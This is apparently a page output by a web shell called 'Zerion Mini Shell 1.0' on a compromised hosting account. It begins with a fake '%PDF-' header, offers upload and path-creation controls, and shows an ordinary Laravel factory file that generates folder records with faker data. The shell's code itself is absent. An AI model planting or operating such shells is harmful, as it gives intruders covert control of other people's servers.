%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/graphicd/public_html/vebto/database/factories/
Upload File :
Create Path :
Current File : /home/graphicd/public_html/vebto/database/factories/FolderFactory.php

<?php

namespace Database\Factories;

use App\Folder;
use Illuminate\Database\Eloquent\Factories\Factory;

class FolderFactory extends Factory
{
    /**
     * The name of the factory's corresponding model.
     *
     * @var string
     */
    protected $model = Folder::class;

    /**
     * Define the model's default state.
     *
     * @return array
     */
    public function definition()
    {
        return [
            'name' => $this->faker->name,
            'description' => $this->faker->realTextBetween(100, 1000),
            'type' => 'folder'
        ];
    }
}

Zerion Mini Shell 1.0